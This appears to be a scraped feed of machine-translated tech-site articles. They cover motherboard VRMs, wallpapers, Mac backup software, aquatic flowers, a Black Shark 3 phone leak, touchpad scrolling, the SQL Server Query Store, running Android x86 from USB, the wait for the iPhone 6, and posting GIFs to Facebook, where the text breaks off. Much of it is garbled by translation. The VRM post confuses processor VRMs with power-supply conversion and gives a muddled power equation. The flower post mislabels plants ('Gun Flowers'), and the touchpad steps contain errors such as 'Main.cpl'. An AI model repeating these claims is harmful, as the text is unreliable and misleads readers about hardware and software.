PWM coil and filter capacitor.\nThe first job of VRM is to convert 12 volt power from the computer's power supply into a voltage so that the microprocessor can be used.For microprocessors, this voltage usually ranges from 1.1V to 1.3V.Sophisticated electronic devices within each microprocessor can easily fail to achieve the necessary effect due to power reasons.Accuracy is also important when powering the processor and the required voltage must be distributed as accurately as possible.That's why the structure of VRM is much more complex than a simple wire segment.However, the \"heart\" of VRMs is basically a buck converter - a device that accurately reduces the voltage to the appropriate level.\nVRM uses the following three components to perform its work:\nMOSFET (short for Metal-Oxide Semiconductor Field-Effect Transistor, meaning \"Metal Oxide effect transistor - Semiconductor). Inductors (also called inductors). Capacitor. There is also an integrated circuit (IC) to control them all, sometimes called PWM controllers.Here is a simple diagram of a single-phase VRM system:\n  Multi-phase VRM   \nThe power of microprocessors on modern computer systems requires more than a single-phase VRM, so manufacturers equip their processors with multi-phase VRM systems.Multiple phases help to transmit the power on a wider physical area, reduce the production of temperature, reduce the pressure on components in the system as well as bring about related power improvements. Performance and operating costs of each part in the motherboard.\nEach phase in a state-of-the-art multiphase VRM system will provide the necessary power, taking turns to power the CPU.These sessions will be done individually, each phase provides energy for a short period of time.You can imagine this process as a square wave in the illustration below:\n  The energy in each phase is 'pumped' to the staggered processor, so even if only one phase is active at a time, the total power supply is always maintained stable, simultaneously. create a stable, reliable energy source, which can be considered as a 'clean' energy source needed for a CPU to operate in the most optimal condition.You can see the model describing the operation of VRM phases in the diagram below.\n  The number of phases of VRM affects the marketing of the manufacturers VRM is usually sold as '8 + 3' or '6 + 2.'The number before the plus sign indicates the number of phases that are dedicated to cleaning the source for the CPU.The number after the plus sign indicates the remaining phases in VRM to power other motherboard components such as RAM.\nWhen the first number is greater than 8, such as '12 + 1, '' 18 + 1 'or even higher, the manufacturer often uses a device called a doubler.A doubler allows the manufacturer to take advantage of the current phase without installing additional phases into the system.Although these mirrored phases are not quite as efficient as the completely separate phases, it allows significant savings in production costs, resulting in a much more competitive price.\nSome manufacturers, especially Gigabytes, have also begun to advertise parallel phases as if they were two separate phases.In fact, this is actually a mirrored phase.Its electrical signals are synchronized instead of staggered as mentioned above, and of course it cannot be as effective as a truly independent phase.But manufacturers often are not afraid to 'bend' and equate these relatively abstract concepts if it is necessary to ensure their interests.If it is said that these are moral issues, it may seem a bit heavy, which can be considered as a way to 'circumvent the law'.It is still important that consumers themselves need to be alert and equip themselves with the basic knowledge of a product before deciding to buy it.\nHow does VRM improve performance?   \nThe goal with VRM is to provide a clean and stable energy for the motherboard.However, even a basic VRM can provide enough performance to maintain a mid-range CPU at the base rate, but when overclocking or pushing the component limits, the quality of VRM becomes important. more important.\nImagine, the main power transformer of the power supply is a water tank, with the normal power supply having 3 compartments corresponding to 3 nozzle heads, 3 main power lines, so each compartment (capacity each line) will be lower than the total capacity of the container (total power supply capacity).For a VRM power supply, the container has only 1 compartment and 1 12V water supply, so it can be said that the total storage capacity will be equal to the total capacity for the 12V line, 12V power supply for The remaining 2 lines are via VRM circuit or it can be said that the other two lines are the load of 12V line.In theory:\nPSU capacity = Capacity 12V = Power 5V = 3.3V capacity provided that 2 of the 3 lines have zero load.\nConsequently, if you have 2 power supplies with the same power level, the VRM power supply will always give you a higher level of power for each line.Based on the needs of the new system, which currently uses a lot of energy from the 12V line, this will help you not need to buy a larger power supply.\nTo make it easier to understand, we can compare the two different power sources of AcBel, R8 607W, which do not have VRM and R88 features VRM for both 5V and 3.3V lines.We see that although the same power level is 600W, but the total output (max output) of each power line, R88 has a higher capacity.The 12V R88 line is 540W @ 45A and R8 only has 480W @ 40A.When you need a 12V power supply with a capacity of 40A, with no VRM power supply you have to choose to buy a power supply with a capacity of over 680W but with a VRM power supply, only a 600W power supply is enough.\nConclusion: Find yourself a good VRM Even if you know the basics, it is never easy to choose suitable VRM power supplies.The information from the manufacturer as mentioned above, is very misleading.Therefore, it is best to consult with those who have expertise or participate in groups and forums about hardware and electronic components, people will always be ready to help each other.\nHope the above information can help you!\nSee more:\nHow to enable performance optimization in Windows 10 Learn about how the CPU works The difference between a mid tower and a full tower computer case Instructions for setting up and installing Microphone on computer ncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWmp7purc2dZKGnp2KxsLHSZqCtZZGbs6av02aroZ1dpbKzss6rpJqmk5p6sLKMrZ%2BeZaCnvKSx0qymqw%3D%3D\n","link":"/post/what-is-vrm-and-how-does-it-affect-the-performance-of-the-processor/","section":"post","tags":null,"title":"What is VRM and how does it affect the performance of the processor"},{"body":"These beautiful wallpapers will help you start the day with a better mood. This set of wallpapers is collected by TechSpot in high resolution, focusing on the beautiful scenes that famous photographers have \"snatched\". They can be poetic landscapes, images or romantic starry skies, long roads that stretch to the horizon.\nThe images below have been compressed to help you preview content without consuming mobile data.\nYou can download the entire wallpaper as a .zip file with the download link at the end of your post.\nColorful flower fields\nPhoto taken by Pixabay (pexels.com/@pixabay) Resolution: 4984 x 3607 Applies to: Computers   Maldives lagoon\nPhoto by A. Shuau (unsplash.com/@obofili) Resolution: 1683 x 2992 Applies to: Phones   Forest in the autumn\nPhoto by Nathan Anderson (unsplash.com/@nathananderson) Resolution: 4384 x 3012 Applies to: Computers   The umbrellas\nPhoto taken by Ghost Presenter (unsplash.com/photos/LFfpkofbcO4) Resolution: 6000 x 4000 Applies to: Computer, phone   A corner of Formentera\nPhoto taken by Roberto H (unsplash.com/@droberobert) Resolution: 3000 x 2000 Applies to: Computers   Cliff near the coast\nPhoto taken by Pixabay Resolution: 2041 x 3629 Applies to: Computers   The road is empty between 2 rows of trees\nPhoto taken by Pixabay Resolution: 5184 x 3456 Applies to: Computers   Ferris wheel close to the water's edge\nPhoto by Nizam Abdul Latheef (pexels.com/@nizamerat) Resolution: 3602 x 3906 Applies to: Phones   Walking on the terraces\nPhoto taken by Pixabay Resolution: 7630 × 3949 Applies to: Computers   The house with red flower paint\nPhoto by Lisa Fotios (pexels.com/@fotios-photos) Resolution: 5965 × 3966 Applies to: Computers   Flowers 2 are white and purple\nPhoto taken by Pixabay Resolution: 4000 × 3000 Applies to: Computers   Oranges\nPhoto taken by Engin Akyurt Resolution: 7513 × 5011 Applies to: Computers   The huts on the beach\nPhoto by Shifaaz Shamoon (unsplash.com/@sotti) Resolution: 4645 x 7896 Use for: Computer - Phone   Snow Mountain\nPhoto by Eberhard Grossgasteiger (pexels.com/@eberhardgross) Resolution: 2000 × 3000 Use for: Phone   Waves\nPhoto by Simon Clayton (pexels.com/@sglc) Resolution: 1946 × 2433 Use for: Phone   Bikini\nPhoto taken by Marvin Meyer (unsplash.com/photos/awApjk2Khbg) Resolution: 6000 x 4000 Used for: Computer   Hot air balloon\nPhoto taken by ellehem (unsplash.com/photos/M0HwJ4j58-w) Resolution: 3456 × 2304 Use for: Computer, phone   Square wooden planks\nPhoto taken by Chris Barbalis (unsplash.com/photos/vMTjgtt6mr8) Resolution: 3008 × 2000 Use for: Computer, phone   Hot air balloon in the blue sky\nPhoto by Kyle Hinkson (unsplash.com/photos/xyXcGADvAwE) Resolution: 4032 × 3024 Use for: Computer, phone   Island taken from above\nPhoto taken by Josh Sorenson Resolution: 2723 x 3633 Use for: Phone - Computer   Moon, sky, light and tree\nPhoto taken by Nick Owuor (unsplash.com/photos/wDifg5xc9Z4) Resolution: 2242 × 2802 Use for: Phone   Antelope Canyon - Show light on the earth\nPhoto by Madhu Shesharam (unsplash.com/photos/EVZxXuOEk3w) Resolution: 3648 × 5472 Use for: Phone   4 horses in the pasture\nPhoto by Eberhard Grossgasteiger (pexels.com/@eberhardgross) Resolution: 2432 × 3648 Use for: Phone   The waves rushed shore\nPhoto by Peter Fazekas (pexels.com/@peterfazekas) Resolution: 3744 × 5616 Use for: Phone   Footprints in the sand\nPhoto taken by Tobias Bjørkli (pexels.com/@tobias-bjorkli-706370) Resolution: 2419 × 3023 Use for: Phone   The tide recedes in Torrent Bay\nPhoto by Alex Green (unsplash.com/@alreadygreen) Resolution: 3465 × 2131 Use for: Phone   Water drops on the leaves\nPhoto taken by Pixabay Resolution: 4324 × 2883 Used for: Computer   Field of stone flowers taken from above\nPhotograph by Edgar Castrejon (unsplash.com/@edgarraw) Resolution: 1472 × 2208 Used for: Computer   Seaside\nPhoto taken by Patrick Ryan (unsplash.com/photos/3kUIaB2EPp8) Resolution: 3992 × 2992 Use for: Phone   Black asphalt road\nPhoto taken by Pixabay Resolution: 3600 × 2136 Used for: Computer   The islands in the eyes of the bird\nPhoto by Denys Nevozhai (unsplash.com/@dnevozhai) Resolution: 2992 × 3992 Use for: Phone   Water surface\nPhoto taken by Carles Rabada Resolution: 2280 × 4056 Used for: Computer   Golden hour\nPhoto by Ryan Loughlin (unsplash.com/@rylomedia) Resolution: 4391 × 6586 Use for: Phone   Angel wings - Northern light on Iceland\nPhoto on InterfaceLIFT by Dominic Kamp Resolution: 3840 x 2160 Used for: Computer   Earth\nFound on PicsWalls Resolution: 3840 x 2160 Used for: Computer   25 years\nPhoto taken by Justin Novello (unsplash.com/photos/-V9ivM5Xd_k) Resolution: 5472 × 3648 Used for: Computer   SpaceX\nPhoto taken by SpaceX (unsplash.com/photos/TV2gg2kZD1o) Resolution: 3000 x 2000 Used for: Computer   Summertime\nPhoto taken by Ev (unsplash.com/photos/U-8pVp66LOQ) Resolution: 3456 × 2304 Used for: Computer   When sunset\nPhoto by Federico Beccari (unsplash.com/photos/cyg3DD6Y69A) Resolution: 5918 × 3945 Used for: Computer   Space wallpaper\nFound on Computer Background Resolution: 3840 x 2160 Used for: Computer   Lake\nFound on Wallpaperaccess.com Resolution: 3840 x 2160 Used for: Computer   Galaxy\nPhoto by Nathan Anderson (unsplash.com/photos/1w7vRUndUxY) Resolution: 5638 × 3748 Used for: Computer   Aurora\nPhoto by Raul Popadineți (unsplash.com/photos/Sj51K_YdY2s) Resolution: 6000 × 4000 Use for: Phone   City in the night\nPhoto by Alexandre Chambon (unsplash.com/photos/zIObZEoSQ1w) Resolution: 5184 × 3456 Used for: Computer, Phone   Maldives Islands (Kafena)\nPhoto by Ibrahim Mushan (unsplash.com/photos/qnjKufYqIIE) Resolution: 3992 × 2992 Used for: Computer   Pfeiffer Beach, Big Sur, CA\nFound on Reddit, \". 30 minutes of sunset at the Gateway to Heaven\" (30 minutes of sunset at the Gate leading to Heaven), but this photo seems to have been deleted, because the location wasn't assigned. Specifically. Resolution: 7525 x 5019 Use for: Computer - 4K   Breathe out fire\nPhoto taken by Alejandro Alvarez (unsplash.com/photos/ZK_KZnT5z9U) Resolution: 4896 × 3264 Used for: Computer, Phone   Wasatch Mountains in Alta, Utah\nPosted on Reddit, \". I hiked alone all day and took a picture of the most amazing view from the summit\" - (I was wandering all day alone and took this great picture on the top of the mountain). Resolution: 4000 x 6000 For: Computers - 4K - Phones   Lake Sorvagsvatn, Faroe Islands\nPosted on Reddit, \"The impossible looking Lake Sorvagsvatn, Faroe Islands\" (The incredible beauty of Lake Sorvagsvatn) Resolution: 5506 x 3671 Use for: Computer - 4K   Link download landscape wallpaper\nHopefully, with these beautiful landscape wallpapers you can bring you more positive, great inspirations every day. Don't forget to visit Quantrimang.com to get more unique wallpapers too.\nncG1vNJzZmismaXArq3KnmWcp51kgXZ50q2sp6aZo7RuuMCnm6ybkaWybsPApaOpmaCav7R5x6KeoWWimsCwuNStoKim\n","link":"/post/45-stunning-landscape-wallpapers-high-resolution/","section":"post","tags":null,"title":"45 stunning landscape wallpapers, high resolution"},{"body":"Time Machine comes with all Macs. It is ready to run and creates a great option to backup your computer to an external hard drive. But outside there are many other options and these options have features that Apple's default backup application cannot compete with.\nHere are 5 great alternatives for Time Machine to make better local backups.\n5 solutions to backup local Mac to replace Time Machine Why not use Time Machine? 5 solutions to backup local Mac to replace Time Machine Carbon Copy Cloner ($ 40) Super Duper (free or $ 28) Data Backup 3 ($ 40) Get Backup Pro ($ 20) CrashPlan (free or registered)  Backup rules 3-2-1 Why not use Time Machine? In general, there is no problem with Time Machine. It is a good way to keep backups of important files at hand. It is efficient and reliable. However, Time Machine lacks some important features. The most noticeable function that Time Machine lacks is cloning the drive or making copies of the entire hard drive. Time Machine is really best suited to recover specific files.\nThe options for customization and scheduling are not worth mentioning. You can run the automatic backup feature, but other options will allow you to back up certain subsets of files, at certain times or at different frequencies. There are a number of great tools that will help you schedule and browse backups created by Time Machine, but it will be easier when all are built-in.\nChange the Time Machine backup time interval   A common problem is that backups take up a lot of hard drive space. It is not a difficult problem to solve, but in general the less the problem has to be solved the better. That's exactly why you should consider replacing (or at least adding) Time Machine with one of the options below.\n5 solutions to backup local Mac to replace Time Machine Carbon Copy Cloner ($ 40) Link reference: https://bombich.com/\n  One of the most fully-featured backup software available is Carbon Copy Cloner (CCC). It gives you everything you need to backup your computer. By creating a bootable copy of the hard drive, CCC allows you to restore your hard drive after a problem and activate it without downloading or installing additionally.\nYou also use SafetyNet, CCC's backup feature keeps copies of deleted files and recent changes, just in case you accidentally delete something really important and want it restored As soon as possible. Editable tasks and schedules, an updated and easier to use interface, customizable backups make CCC one of the most comprehensive backup solutions available.\nThe $ 40 price is really not too expensive. You can even download and try it for free for 30 days.\nSuper Duper (free or $ 28) Link to: https://www.shirt-pocket.com/SuperDuper/SuperDuperDescription.html\n  Another software that creates full, bootable copies of hard drives is Super Duper. It provides great functions like scripting, smart updates, scheduling, backups, connections, and other capabilities that make life easier. It does not offer as many features as CCC, but it has been used for a long time and won some awards. It works fast and very easy to use.\nOne of the biggest advantages of Super Duper is that you don't really have to know much about backup skills to use it. There are not many options and the setup is quite easy. If you don't need anything special, this is a very difficult option to defeat.\nBasic (basic) version is free, a great advantage. To unlock features like sandbox, smart updates and scripting, you need to upgrade to the full version for $ 28.\nData Backup 3 ($ 40) Link to reference: https://www.prosofteng.com/databackup-mac-backup-software/\n  Another solution to create a fully bootable backup is Data Backup. The biggest advantage of Data Backup is to create things that can work immediately. For example, it comes pre-installed to back up iTunes and iPhoto libraries. You can even create your own backup settings by dragging and dropping the files you want in a specific set.\nLike most big names in the backup application market, you can schedule, create multiple backup versions, protect backups with a password or prevent certain files from being backed up. It is difficult to find backup applications that are more suitable for quick setup on a Mac like Data Backup.\nData Backup has a free version. Although the official website does not say what this version includes; but we can guess that it is a 30-day trial or a shortened version of the full software. Full software costs $ 40.\nGet Backup Pro ($ 20) Link reference: https://www.belightsoft.com/products/getbackup/\n  This software features a great and well-organized interface, with different backup sets listed in the left bar. All you need to do is select the data set you want to edit or backup and everything you need is displayed in the main control panel. Whether you're creating a fully bootable copy or a smaller backup of photos or documents, you can do it all in a few clicks.\nThere are templates for specific datasets, so Get Backup Pro is ready to back up iTunes, Photos, Mail and Documents folders instantly. You can schedule any of your backup sets and you can choose one of four different encryption methods to ensure they are always safe. When you need to restore all your data, you don't even need to install Get Backup Pro!\nAt $ 20, Get Backup Pro is the cheapest option (not free) on this list. With only $ 20 you can ensure your Mac is backed up safely!\nCrashPlan (free or registered) Link reference: https://www2.crashplan.com/en-us/business/\n  CrashPlan is most widely known for its cloud backup software, but you can use the free version of this application to back up files to an external drive or any other computer connected to the Internet. So if you want to create some backups on your local hard drive or network drive, you can do that without paying a registration fee.\nHowever, you will not be able to create bootable copies with CrashPlan, so it is best to use it as a remote backup solution. That doesn't mean it's not useful as a small-scale backup option for local drives. Non-premium scheduling and customization options like some of the other options on this list, but in exchange for them for free!\nBackup rules 3-2-1 Having a backup is sure to make your data much safer, but there is still a chance you can lose it. That's why some experts recommend using 3-2-1 rules to back up your computer: Keep 3 backups, in 2 different formats (such as a hard drive and a DVD set), with 1 of 2 copies that is peripheral. That means you should have two local backups - preferably bootable - and keep a copy elsewhere.\n  So even with the great options above, enabling the cloud backup solution can be a good idea. CrashPlan, Carbonite and BackBlaze are all great options, ranging from $ 45 to $ 60 per year. With online backups, you don't have to worry about problems happening on the local drive (for example, there is a fire or flood and even if your computer and your backup drive are destroyed) ) or even a simple drive error.\nIt's best to use both options to reduce your chances of losing any irreplaceable files because of unexpected problems.\nWith all these options, you have several ways to back up Macs at many different prices. There is no reason not to back up the drive, especially with the cheap and free options everywhere. Although the number 3 backups may seem a bit heavy, a backup plan is absolutely necessary, especially with extremely important files.\nSee more:\nRestore hard drive with Time Machine 3 free apps for analyzing and checking hard drive space on Mac Maximize your Mac ncG1vNJzZmismaXArq3KnmWcp51kgm6%2FzqWsraGfo8BuwM5mmZqbm6q9brjOnJilZZ2WsG7AzmapnqiclrCmedOipJ5lnZawqbXNng%3D%3D\n","link":"/post/5-solutions-to-backup-local-mac-to-replace-time-machine/","section":"post","tags":null,"title":"5 solutions to backup local Mac to replace Time Machine"},{"body":"The underwater flowers familiar to Vietnamese people such as waterlily, lotus, hyacinth . are among the most beautiful aquatic plants in the world. When blooming throughout ponds, lakes or marshes, they create a beautiful setting that makes anyone fall in love.\nHere are 7 most beautiful aquatic flowers in the world to invite you to admire.\n7. Water flowers quỳnh\nThis underwater flower is native to South America. Blue quỳnh has lemon yellow highlights on the green leaves. These beautiful flowers bloom and fade in just one day.\n   6. Flower of lettuce\nFlowers with pure white vegetables are beautiful with prominent gold in the middle.\n   5. Flowering vegetable\nThis beautiful flower aquatic plant comes from the Americas. Flowers of the vegetable are green, the upper tube is thorn. From mid-June and October, these colorful flowers will bloom to give a beautiful scenery for lakes, swamps .\n  4. Flower painting water tea\nWater-based tea flowers have a beautiful white color and have a pleasant scent like vanilla flavor.\n  3. Hyacinth flower - Water hyacinth\nHyacinth flowers are light purple, the upper petals have a prominent yellow spot on the blue dots. This beautiful flowering aquatic plant is native to tropical South America.\n   2. Hoa Sen\nLotus flowers have large flowers, when they hatch, they can reach 20 cm in diameter. The lotus has 2 colors: pink and white. Flowers only bloom in summer and have a pleasant scent. Flowers bloom in the morning and close in the evening.\n   1. Gun Flowers\nWater lilies are considered the most beautiful aquatic flowers in the world. There are 70 different species of water lilies in the world. Water lilies come in many different colors including white, red, yellow, pink, peach, blue, purple and orange.\n      ncG1vNJzZmismaXArq3KnmWcp51khG65zqyrZpqVlsK1tcWuo2aZoaqutbXCZqelmZ6pwG61zWaroZ1drLyzuMM%3D\n","link":"/post/7-most-beautiful-aquatic-plants-in-the-world/","section":"post","tags":null,"title":"7 most beautiful aquatic plants in the world"},{"body":"Not long ago, a smartphone with the code SHARK KLE-AO supposedly Black Shark 3 appeared on the certification website of the Ministry of Industry and Information Technology (China).\nAlthough not disclosing information about the specifications, the certification documents show that Black Shark 3 will support 5G network connectivity.\nOther leaked information also revealed that Black Shark 3 will be equipped with up to 16GB of RAM, higher than many laptops today. If this is true, then Black Shark 3 is the smartphone with the most RAM capacity ever. However, 16GB of RAM is probably too much for a smartphone.\nBlack Shark 3 is Xiaomi's next low-cost gaming smartphone, to be launched in the near future. Black Shark 3 is expected to inherit the success of its predecessor, the Black Shark 2 Pro, launched in July 2019.\nThe technology hopes that Black Shark 3 will be strongly upgraded on hardware by Xiaomi including Snapdragon 865 processor, 120Hz scanning screen, larger battery capacity and rear camera system with many improvements.\nEarlier, another leaked information suggested that Xiaomi's cheap Black Shark 3 gaming smartphone might be equipped with a battery capacity of up to 4700mAh.\nRealme 5s officially launched, 5000mAh battery, 4 48MP rear camera, starting price of 3.2 million Realme C2s launched, dual camera, 4,000mAh battery, 3GB RAM, price nearly 1 million ncG1vNJzZmismaXArq3KnmWcp51kr62twqRkrKCRp7huf4ytn55llp6%2FtMCMqZ%2BoppVixKrAx2Zob5%2BSYr%2BiuQ%3D%3D\n","link":"/post/black-shark-3-the-first-phone-with-16gb-ram/","section":"post","tags":null,"title":"Black Shark 3, the first phone with 16GB RAM"},{"body":"There are many people who prefer to use Touchpad than using a mouse, especially with Windows 10 operating system, the Touchpad is provided with many newer functions. This has helped users to perform many operations more conveniently, as well as experience many exciting changes.\nAnd if you regularly use the touchpad, it certainly won't be strange for the page scrolling, windows on Windows 10. By default, we will move our finger from top to bottom at the table to change the page scrolling direction. . However, if you want to change to suit your usage, we can change easily, right on the setting of Windows 10.\nHowever, the following way that we guide only applies to models equipped with Touchpad from Synaptics manufacturer only, the other Touchpad will not be usable.\nMethod 1: Change the Touchpad on Mouse Properties Step 1: At the Search Windows bar or Run window, we will type the keyword Main.cpl and press Enter to open Mouse Properties.\n  Step 2: In the Mouse Properties interface, we will select the external ThinkPad tab. Depending on the line of computers we choose to click on the last card in this interface, it may be Device Settings, Touchpad Settings, and Touchpad.\nNext click the Settings button below. In some other laptops, users need to select Touchpad input from the list of devices to activate the Settings button.\n  Step 3: Next in the Synaptics Control Panel window of Touchpad settings, click on the Scroll tab .\nLooking down at the interface below, we'll find Switch direction , Reverse direction or Reverse scrolling direction, then click or uncheck to change the direction of the mouse scroll .\n  With the old Touchpad versions , on the Properties interface for Synaptics TouchPad , click on MultiFinger Gestures . At the Two-finger scrolling just below, click the gear icon next to that option.\n  After that, we will find the Enable reverse scrolling direction item or uncheck the option.\n  Method 2: Change the direction of Touchpad Windows 10 scrolling using Settings Step 1: Click on the Start menu and select the Settings icon , or press the Windows + I.\n  Step 2: In the Settings interface, we will select Devices .\n  Step 3: In the new interface, at the left menu bar we will find the Mouse \u0026amp; touchpad option . Look to the right, go to the Related settings section \u0026nbsp; Click on the Additional mouse options link .\n  Step 4: In the Mouse Properties interface, we also changed the options settings for Touchpad similar to the steps with Option 1 above.\nIn fact, even if we do it 1 or 2, we will move to the Mouse Properties interface, so that we can freely change and customize all settings available on Touchpad Windows 10, if the user needs it. Choose a simple, convenient way to change the page scrolling direction and many other settings with Touchpad Windows 10.\nRefer to the following articles: How to open the virtual keyboard in Windows 10 Start Windows 10 \"as fast as the wind\" with Fast Startup Instructions for activating and customizing virtual Touchpad on Windows 10 I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddmLWiusaeZK2glWKxqr7EnKuip55ivKd506GcZquTp7ytuMinnmaokZyybrvFZquorZOdvaKwjLCgp5yfrMBufY8%3D\n","link":"/post/guide-to-change-the-direction-of-the-scrolling-page-of-touchpad-windows-10/","section":"post","tags":null,"title":"Guide to change the direction of the scrolling page of Touchpad Windows 10"},{"body":" This wikiHow teaches you how to to use the SQL Server Query Store to monitor the performance of your database queries. Open the SQL Server Management Studio. You can use the Query Store feature of SQL Server to monitor your database for...\nPart 2of 3:\nFinding the Top Resource-consuming Queries  Click the - next to ″Query Store″ in the Object Explorer. This displays all Query Store options. Use this method to find out which specific queries are using the most server resources.[5]   Click Top Resource Consuming Queries. This opens a graph that displays the 25 most resource-consuming queries in the database. These results are pretty broad, but you can further customize the graph to get more helpful information.[6]\n  Click Configure. It's at the top-right corner of the report. A dialog window will appear.\n  Select your resource consumption criteria. In the top section (″Resource Consumption Criteria″), choose which resource you want to check (e.g., CPU Time, Memory Consumption), and the desired statistic (e.g., Avg, Total).\n  Select a time period. Under the ″Time Interval″ section, choose the time period for which you want to view results. You can select an option from the drop-down menu or insert specific dates into the provided boxes.\n  Choose how many results to see. To see all queries for the selected time period, click All under the ″Return″ header. To display a specific number of queries, select Top and enter a number (e.g. 10, 100). If you want to stick to the top 25 worst offenders, there's no need to make any changes under the ″Return″ header.   Click OK. The stats will now refresh to display what you want to see.\n  Adjust the view (optional). Use the small graph icons (the grid, chart, and bar graph) to view the results in various formats. These buttons are at the top-right corner of the results.\n Part 3of 3:\nChecking for Regressed Queries  Click the - next to ″Query Store″ in the Object Explorer. This displays all Query Store options. Use this method to find specific queries that are performing more slowly than they used to.[7]   Click Regressed Queries. This opens the Regressed Queries panel, where you'll find the queries and plans in the Query Store.[8]\n  Select a plan from the first drop-down menu. It's the menu labeled ″Check for regression in″ above the top-left corner of the panel. Each of the plans will display a different graphical performance report for your queries. For example, if you want to check for issues with in the amount of time it takes for queries to run, select Duration. To see issues relating to RAM usage, select Memory Consumption.   Select a statistic from the second drop-down menu. This is the menu labeled ″Based on″ (to the right of the previous menu. This re-displays the results.\n  Samuel Daniel Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYmrCsedOhnGappZq%2FunnPnqmfp6Kirq%2BvxGagp2WRo3q0vctmqp6qppq%2F\n","link":"/post/how-to-check-the-query-performance-in-an-sql-server/","section":"post","tags":null,"title":"How to Check the Query Performance in an SQL Server"},{"body":"Android is not an operating system for computers. But if you're curious about how Google's mobile operating system works, you can install Android on your Windows computer and experience it. This will give you new experiences on your Windows computer.\nIn this article, we will show you how to install Android on your PC using Android x86 . This way will really turn your computer into an Android device, experience, test Android apps on the big screen easier. Although the installation is a bit more complicated than the Android emulator, the advantage of Android x86 is to bring the latest Android version, which the emulator software often doesn't have, or takes a long time. to update to new Android.\nIn addition, readers can refer to the 10 best Android emulator applications for Windows here.\nAlso watch the video how to create USB with Android x86 and run parallel with Windows here.\n  Step 1: Prepare a USB drive (or SD memory card) and install Android Download free x86 Android to install on your computer.\nIn this tutorial, you first need to prepare a USB drive or SD memory card with a capacity of at least 2GB. All content in the USB drive or SD memory card you need to copy and store in a safe location. This is because during the Android installation you will have to format your USB or SD memory card.\nWith all the backup data, you will have to build the x86 Android project platform here. We are testing the 64-bit version of Android 6.0, but you can optionally choose the best version for your current setup.\nClick the View button to start the download process - depending on the speed of your Internet connection, the process may be fast or slow.\n  In addition, you will have to download Rufus and install it. Rufus is a free Windows tool to install Android on a USB Flash drive. This is the Portable version, so you can download and store at any location and do not need to install.\nDownload Rufus to your device and install it here. After the download process finishes, launch Rufus. A warning will appear on your Windows computer asking if you want to allow Rufus to change your device. Click Yes to continue.\n  When Rufus runs, access and select your USB drive in the top dropdown menu. This step is quite important and requires accuracy because Rufus will erase your drive. If there is more than one external hard drive, check the exact drive you are installing.\n  Next on the File System menu, select FAT32 .\n  Finally, check the box labeled Create bootable disc using , then select ISO Image from the dropdown menu.\n  Click the CD drive icon next to ISO Image to select the x86 ISO Android file that you downloaded earlier.\n  After the file has been selected, it will scan, check and confirm all files are fine. Click the Start button to start the process.\n  The dialog box now appears to inform you that the file is an ISOHybrid image, which you can write in two ways: ISO image or DD image . The default option is ISO Image , and you should choose this option again, then click OK to confirm.\n  A new warning dialog will appear and inform you that everything in the drive will be erased. Click OK to continue.\n  The ISO installation process on the USB drive takes place not too long. A blue progress bar will appear at the bottom so you know that the process has been completed. After the process is complete you can close the Rufus window and remove the USB Flash drive.\n  Step 2: Boot from USB drive The next step is to boot your computer from the USB drive. You may have to change some settings in the BIOS to do this.\nSet everything up properly, and you can start your computer, press F10 or F12 to access the Boot Menu (on each line, the key to access the Boot Menu will be different). At Boot Menu, you choose your USB drive.\n  A menu will be displayed asking if you want to run the installation: Live CD mode or Install on the hard drive. Because this is an experimental process, we chose the first option to run Android x86 without installation.\n  About a few seconds later, you will see the Android boot animation. Wait for a few minutes and a setup menu will appear.\n  Access and follow the on-screen instructions to log in to your Google account. The login process is the same as the process of logging into your Google account on an Android device.\n  Use x86 Android on your computer   If you have previously used Android, you will experience the exact Android experience on the same computer as on a tablet or mobile phone.\nKeyboard and mouse will work well with Android. If you use a laptop with a touch screen, the experience will be much more natural.\nHere are a few more pointers:\nTouchpad gestures, such as placing 2 fingers to record or pull out, will work well on Android. Hover over the notification bar and drag down with 2 fingers - a message box will appear. Pressing and holding your hand works the same way as on a touch device: just hold the mouse button. Right-click will not work. The Windows key acts as the Home button - press this key to return to the Home Screen home screen. If your laptop has a webcam, it will also work with camera applications. If you want to exit Android x86, just press the Power button on your computer. The \"Power Off\" dialog box will display as usual - power off your computer, then remove the USB drive and restart the computer to restart Windows.   Refer to some of the following articles:\nThis is a way to transfer files from your computer to your Android phone without a USB cable Unlock the Android device screen by tapping the screen twice To run Android applications on Windows computers, read this article Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecoqS2pXnOp2SaZaeeu6W71qxknKedpcK1sdFmrqKsmKTCtXnSqJ2tr5Gnsm6xzK6jmqyZpLs%3D\n","link":"/post/how-to-install-android-on-a-windows-computer-without-software-emulation/","section":"post","tags":null,"title":"How to install Android on a Windows computer without software emulation"},{"body":"For about a month before the iPhone 6 was released, users had many ways to entertain themselves in the meantime.\nJailbreak the old iPhone   IPhone jailbreak can bring new experiences on your old phone. It can be said that this is the best time for users to perform tests, before the iPhone 6 officially launches. In fact, unlocking iPhone is not recommended, but this has been much easier to implement in the past few years. If you have updated to the latest iOS version, you can try the jailbreak version of Pangu or Evasion .\nBackup iPhone If you want to preserve your precious data for iPhone 6, make sure you back up your old product. There are many applications that help users back up data, such as Disk Air. However, the most common way is still using iTunes or iCloud.\nTry the iPhone 6 winning games   Even if the iPhone 6 has not yet been released, retailers or some business units have posted attractive rewards with an iPhone 6 reward to attract users. If you're lucky, you can bring an iPhone 6 without losing a penny, or at least earn some cool rewards.\nSell ​​old iPhone If you don't want to keep the old iPhone, sell as soon as it gets the price, because when the iPhone 6 comes out, older products will fall dramatically. Users can choose to resell to relatives, participate in exchange programs from retailers or sell directly on domestic classifieds.\nGaming There are many types of games, but if for those who do not have the habit of playing games often or do not know what kind of games to choose, we think people can play Flappy Bird games, this game will help You feel time flies very fast!\nYou can play on Gamevui.com.vn or you can download the game for the operating system version here !\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqOZobluwMimnGavmJ65pnnWmqCtoZ6ceqe70WagqaCfo7Jugg%3D%3D\n","link":"/post/how-to-kill-time-while-waiting-for-iphone-6/","section":"post","tags":null,"title":"How to kill time while waiting for iPhone 6"},{"body":"Facebook has appeared on the market for many years, but it has not yet fully supported the popular animation format on the Internet, which is GIF. In the article below, TipsMake.com will introduce you how to upload GIF images to your Facebook account, based on the support website.\nHow to post photos, GIFs on Facebook based on Giphy: On the internet today there are many tutorials on how to post GIF images to Facebook, mainly:\nPost a GIF image from 1 URL, after Facebook loads it all, delete it and click Post =\u0026gt; ca n't do it ! Using Plugin included\u0026gt; can't do 